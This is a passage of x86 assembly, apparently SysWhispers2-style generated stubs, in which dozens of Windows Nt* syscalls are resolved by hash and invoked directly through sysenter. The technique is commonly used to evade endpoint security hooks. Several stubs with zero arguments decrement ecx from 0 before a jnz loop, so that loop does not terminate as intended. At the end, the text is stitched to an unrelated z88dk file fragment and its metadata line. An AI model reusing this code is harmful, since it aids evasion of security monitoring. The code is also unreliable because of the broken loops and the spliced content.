lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetThreadExecutionState ENDP
NtSetTimer2 PROC
push ebp
mov ebp, esp
push 0B5B61520h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetTimer2 ENDP
NtSetTimerEx PROC
push ebp
mov ebp, esp
push 0130259FFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetTimerEx ENDP
NtSetTimerResolution PROC
push ebp
mov ebp, esp
push 0C14E205Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetTimerResolution ENDP
NtSetUuidSeed PROC
push ebp
mov ebp, esp
push 007ACCF00h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetUuidSeed ENDP
NtSetVolumeInformationFile PROC
push ebp
mov ebp, esp
push 0CBDA3ACCh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetVolumeInformationFile ENDP
NtSetWnfProcessNotificationEvent PROC
push ebp
mov ebp, esp
push 03EAD3B3Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetWnfProcessNotificationEvent ENDP
NtShutdownSystem PROC
push ebp
mov ebp, esp
push 0C050C9C4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtShutdownSystem ENDP
NtShutdownWorkerFactory PROC
push ebp
mov ebp, esp
push 00494706Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtShutdownWorkerFactory ENDP
NtSignalAndWaitForSingleObject PROC
push ebp
mov ebp, esp
push 09AB569CAh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSignalAndWaitForSingleObject ENDP
NtSinglePhaseReject PROC
push ebp
mov ebp, esp
push 0B816D28Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSinglePhaseReject ENDP
NtStartProfile PROC
push ebp
mov ebp, esp
push 004B2DC80h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtStartProfile ENDP
NtStopProfile PROC
push ebp
mov ebp, esp
push 0F7A6F01Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtStopProfile ENDP
NtSubscribeWnfStateChange PROC
push ebp
mov ebp, esp
push 01E236FFEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSubscribeWnfStateChange ENDP
NtSuspendProcess PROC
push ebp
mov ebp, esp
push 05D863A94h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSuspendProcess ENDP
NtSuspendThread PROC
push ebp
mov ebp, esp
push 0F8E372CDh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSuspendThread ENDP
NtSystemDebugControl PROC
push ebp
mov ebp, esp
push 0078F011Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSystemDebugControl ENDP
NtTerminateEnclave PROC
push ebp
mov ebp, esp
push 0EEB062A2h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtTerminateEnclave ENDP
NtTerminateJobObject PROC
push ebp
mov ebp, esp
push 0269A2407h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtTerminateJobObject ENDP
NtTestAlert PROC
push ebp
mov ebp, esp
push 086D5B57Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtTestAlert ENDP
NtThawRegistry PROC
push ebp
mov ebp, esp
push 040AF3E4Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtThawRegistry ENDP
NtThawTransactions PROC
push ebp
mov ebp, esp
push 0019A1971h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtThawTransactions ENDP
NtTraceControl PROC
push ebp
mov ebp, esp
push 00991F3D7h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtTraceControl ENDP
NtTranslateFilePath PROC
push ebp
mov ebp, esp
push 0CE10E9DEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtTranslateFilePath ENDP
NtUmsThreadYield PROC
push ebp
mov ebp, esp
push 0A73A9CADh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUmsThreadYield ENDP
NtUnloadDriver PROC
push ebp
mov ebp, esp
push 012BF4E12h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUnloadDriver ENDP
NtUnloadKey PROC
push ebp
mov ebp, esp
push 0C81F2B67h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUnloadKey ENDP
NtUnloadKey2 PROC
push ebp
mov ebp, esp
push 0AFD77AF0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUnloadKey2 ENDP
NtUnloadKeyEx PROC
push ebp
mov ebp, esp
push 0537819C5h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUnloadKeyEx ENDP
NtUnlockFile PROC
push ebp
mov ebp, esp
push 06C3E64A8h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUnlockFile ENDP
NtUnlockVirtualMemory PROC
push ebp
mov ebp, esp
push 003932D05h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUnlockVirtualMemory ENDP
NtUnmapViewOfSectionEx PROC
push ebp
mov ebp, esp
push 032890634h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUnmapViewOfSectionEx ENDP
NtUnsubscribeWnfStateChange PROC
push ebp
mov ebp, esp
push 04F5F1B6Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUnsubscribeWnfStateChange ENDP
NtUpdateWnfStateData PROC
push ebp
mov ebp, esp
push 0A23CD4B4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUpdateWnfStateData ENDP
NtVdmControl PROC
push ebp
mov ebp, esp
push 04794470Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtVdmControl ENDP
NtWaitForAlertByThreadId PROC
push ebp
mov ebp, esp
push 05CBE6E69h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitForAlertByThreadId ENDP
NtWaitForDebugEvent PROC
push ebp
mov ebp, esp
push 0008B0B0Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitForDebugEvent ENDP
NtWaitForKeyedEvent PROC
push ebp
mov ebp, esp
push 0D08A3618h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitForKeyedEvent ENDP
NtWaitForWorkViaWorkerFactory PROC
push ebp
mov ebp, esp
push 058F0725Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitForWorkViaWorkerFactory ENDP
NtWaitHighEventPair PROC
push ebp
mov ebp, esp
push 027921D3Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitHighEventPair ENDP
NtWaitLowEventPair PROC
push ebp
mov ebp, esp
push 0C09DC00Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitLowEventPair ENDP
NtAcquireCMFViewOwnership PROC
push ebp
mov ebp, esp
push 00A912008h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAcquireCMFViewOwnership ENDP
NtCancelDeviceWakeupRequest PROC
push ebp
mov ebp, esp
push 017AAEFA6h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCancelDeviceWakeupRequest ENDP
NtClearAllSavepointsTransaction PROC
push ebp
mov ebp, esp
push 0000846DDh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtClearAllSavepointsTransaction ENDP
NtClearSavepointTransaction PROC
push ebp
mov ebp, esp
push 012151E8Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtClearSavepointTransaction ENDP
NtRollbackSavepointTransaction PROC
push ebp
mov ebp, esp
push 076E950BDh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRollbackSavepointTransaction ENDP
NtSavepointTransaction PROC
push ebp
mov ebp, esp
push 00D920904h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSavepointTransaction ENDP
NtSavepointComplete PROC
push ebp
mov ebp, esp
push 0BD32253Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSavepointComplete ENDP
NtCreateSectionEx PROC
push ebp
mov ebp, esp
push 0FEAD2DF7h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateSectionEx ENDP
NtCreateCrossVmEvent PROC
push ebp
mov ebp, esp
push 09CBBA109h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateCrossVmEvent ENDP
NtGetPlugPlayEvent PROC
push ebp
mov ebp, esp
push 040CB3F38h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetPlugPlayEvent ENDP
NtListTransactions PROC
push ebp
mov ebp, esp
push 001953933h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtListTransactions ENDP
NtMarshallTransaction PROC
push ebp
mov ebp, esp
push 030AB12FFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtMarshallTransaction ENDP
NtPullTransaction PROC
push ebp
mov ebp, esp
push 0178C151Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPullTransaction ENDP
NtReleaseCMFViewOwnership PROC
push ebp
mov ebp, esp
push 058E781AEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReleaseCMFViewOwnership ENDP
NtWaitForWnfNotifications PROC
push ebp
mov ebp, esp
push 00D973101h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitForWnfNotifications ENDP
NtStartTm PROC
push ebp
mov ebp, esp
push 0438F257Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtStartTm ENDP
NtSetInformationProcess PROC
push ebp
mov ebp, esp
push 07E337FACh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationProcess ENDP
NtRequestDeviceWakeup PROC
push ebp
mov ebp, esp
push 01547D013h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRequestDeviceWakeup ENDP
NtRequestWakeupLatency PROC
push ebp
mov ebp, esp
push 0BC18A7B8h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRequestWakeupLatency ENDP
NtQuerySystemTime PROC
push ebp
mov ebp, esp
push 08E97AF13h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySystemTime ENDP
NtManageHotPatch PROC
push ebp
mov ebp, esp
push 0E4D93065h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtManageHotPatch ENDP
NtContinueEx PROC
push ebp
mov ebp, esp
push 053AD7510h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtContinueEx ENDP
END |
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_empty.asm | meesokim/z88dk | 0 | 241694 |
; int b_array_empty(b_array_t *a)
SECTION code_adt_b_array
PUBLIC b_array_empty
defc b_array_empty = asm_b_array_empty
